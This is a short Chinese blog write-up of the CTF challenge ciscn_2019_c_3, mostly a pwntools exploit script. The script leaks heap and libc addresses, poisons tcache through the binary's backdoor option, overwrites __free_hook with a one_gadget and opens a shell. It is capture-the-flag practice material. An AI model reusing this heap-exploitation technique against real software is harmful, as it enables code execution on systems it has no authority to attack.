ciscn_2019_c_3

最新推荐文章于 2025-01-07 15:39:14 发布

原创最新推荐文章于 2025-01-07 15:39:14 发布 · 455 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #ctf

题目同时被 2 个专栏收录

83 篇文章

订阅专栏

BUUCTF

33 篇文章

订阅专栏

本文详细解析了CISCN_2019_C_3挑战中的漏洞利用过程，通过后门函数修改文件描述符，最终实现对free_hook的覆盖，触发one_gadget获取shell。利用pwn工具包进行远程攻击，逐步介绍了heap和libc基地址泄露的方法。

思路

通过后门函数改fd然后tcache dump打到free_hook即可
exp:

#!/usr/bin/python2
from pwn import *
#p=process('./ciscn_2019_c_3')
p=remote('node3.buuoj.cn',29374)
elf=ELF('./ciscn_2019_c_3')
libc=elf.libc

def add(size,name):
	p.sendlineafter('Command: ','1')
	p.sendlineafter('size: ',str(size))
	p.sendlineafter('name: ',name)

def show(idx):
	p.sendlineafter(': ','2')
	p.sendlineafter('index: ',str(idx))

def delete(idx):
	p.sendlineafter(': ','3')
	p.sendlineafter('weapon:',str(idx))

def backdoor(idx):
	p.sendlineafter(': ','666')
	p.sendlineafter(':',str(idx))

add(0x100,';sh')#0
add(0x100,'/bin/sh\x00')#1
add(0x100,'/bin/sh\x00')#2
add(0x100,'/bin/sh\x00')#3
delete(3)
delete(3)
show(3)
p.recvuntil('attack_times: ')
heap_base=int(p.recv(14))-0x590
log.success('heap_base: '+hex(heap_base))
for i in range(8):
	sleep(0.1)
	backdoor(3)
sleep(0.2)
add(0x100,p64(heap_base+4))#3
add(0x100,'\x02'*4)#6
add(0x100,'\x07'*(0x10+0x20)+'\x00'*0x34+p64(heap_base+0x20))#0x58
delete(0)
show(0)
p.recvuntil('attack_times: ')
libcbase=int(p.recv(15))-libc.sym['__malloc_hook']-88-0x10-8
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
one_gadget=libcbase+0x4f322
log.success('libcbase: '+hex(libcbase))
add(0x60,'\x00'*0x48+p64(free_hook-0x10))
add(0x60,p64(one_gadget))
show(0)
delete(2)
p.interactive()